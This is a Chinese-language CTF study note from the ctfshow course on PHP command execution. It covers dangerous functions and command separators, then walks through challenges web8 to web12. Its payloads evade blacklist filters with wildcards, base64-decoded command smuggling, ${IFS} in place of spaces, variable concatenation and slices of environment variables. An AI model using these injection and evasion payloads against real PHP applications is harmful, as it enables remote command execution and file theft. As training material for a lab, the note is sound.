php知识+wp
ctfshow私教课第二节
认识php
php是一种开源服务器端脚本语言
php的基本语法是函数名(函数参数)分号
可以有零或者多个参数,如果没有参数就不写
phpinfo 显示当前服务器上php的基本信息
可以自定义函数,例如下面这个就是用php语言写的简单加和
1 |
|
危险函数
比较危险的函数,如果参数用户可控,会造成灾难性的后果
例如:
- system函数
执行外部程序,并且显示输出
还有很多可以查询php7中文手册
命令执行
命令执行一般指目标服务器上的命令执行,也就是远程命令执行,英文缩写为RCE,有远程命令执行和远程代码执行
php的命令执行函数
- system
- passthru
- exec
- shell_exec
- popen
- pcntl_exec
- 执行运算符
具体使用参考php7中文手册
连接符
- && 前后两个命令是并列执行 短路
注意在使用时需要进行url编码 - || 前后两个命令有一个执行成功就可以
- ;独立的两条命令执行
- 前两个于c语言中相似
ctfshow私教课web8
1 |
|
/dev/null 2>&1
黑洞函数,可以删除回显导致看不到回显
我们可以通过以下几种方式进行绕过
- 利用||的短路特性
cmd=tac flag.php|| - 将回显复制到文本中
cp flag.php 1.txt
再访问1.txt就可以看到回显 - 将回显移动到我们可以访问的地方
mv flag.php 1.txt
再访问1.txt就可以看到回显 - 还有其他多种方法不再一一赘述(主要是我也不知道)
黑名单绕过
- 替换过滤
将关键词换为空,例如替换cat为空
我们可以使用双写绕过,ccatat,替换后仍然为cat
但是如果是将关键词替换为其他字符,那么双写绕过就没什么作用了
- 过滤特定字符串(例如flag)的情况:
例如过滤了flag关键字,我们可以使用通配符进行绕过
- ? 代表一个任意字符
例如可以输入 cat fla? 来代替cat flag.php - *表示任意长度字符
例如可以输入 cat f*来代替 cat flag.php
ctfshow私教课web9
1 | ` |
- 利用||的短路特性
cmd=tac fla?.php|| - 将回显复制到文本中
cp flag.ph? 1.txt
再访问1.txt就可以看到回显 - 将回显移动到我们可以访问的地方
mv flag.ph? 1.txt
再访问1.txt就可以看到回显 - 还有其他多种方法不再一一赘述
ctfshow私教课web10(有通杀)
1 |
|
第一种方法是用不了了,后两种可以继续使用
- 将回显复制到文本中
cp fla?.php 1.txt
再访问1.txt就可以看到回显 - 将回显移动到我们可以访问的地方
mv fla?.php 1.txt
再访问1.txt就可以看到回显
这是之前的方法,还有一种通杀方法
- cmd=
echo 'dGFjIGZsYWcucGhw'|base64 -d
||
这里的dGFjIGZsYWcucGhw是bas64编码后的tac flag.php
利用编码解码进行绕过,拿到flag
ctfshow私教课web11
1 |
|
这里过滤了空格,需要对空格进行绕过
- 通杀解在这里仍旧有效
cmd=echo${IFS}'dGFjIGZsYWcucGhw'|base64${IFS}-d
- cmd=tac${IFS}fla?.php
- cmd=cp${IFS}fla?.php${IFS}1.txt
- cmd=mv${IFS}fla?.php${IFS}1.txt
- 还有其他方法不再一一赘述
变量拼接绕过关键字
a=c;b=at;c=fla;d=g.php;$a$b $c$d
等效为cat flag.php
符号过滤
- 当空格被过滤了时,可以使用以下几个进行替换
- 读文件时,可以使用<>
- ${IFS} $IFS$9
- %09 %0b %0c
- 字符串截取空格
字符串截取空格
例如
1.ctfshow=aabbcc
2.${ctfshow}
3.这里输出的就是aabbcc
1.ctfshow=aabbcc
2.${ctfshow:2}
3.这里输出的就是bbcc
1.ctfshow=aabbcc
2.${ctfshow:4:1}
3.这里输出的就是c
我们可以通过这个在系统中找已经定义好的变量,然后截取里面的字符串即可
ctfshow私教课web12
1 |
|
使用常见的能够替代空格的字符,发现没用,使用爆破后也没有找到能够替代空格的字符
接下来我们就要考虑使用字符串截断
输入cmd=env查看环境变量
查看网页源代码,找一下那个环境变量含有空格
再使用上面的字符串截取格式,来代替空格
这样就可以正确进行空格绕过,拿到flag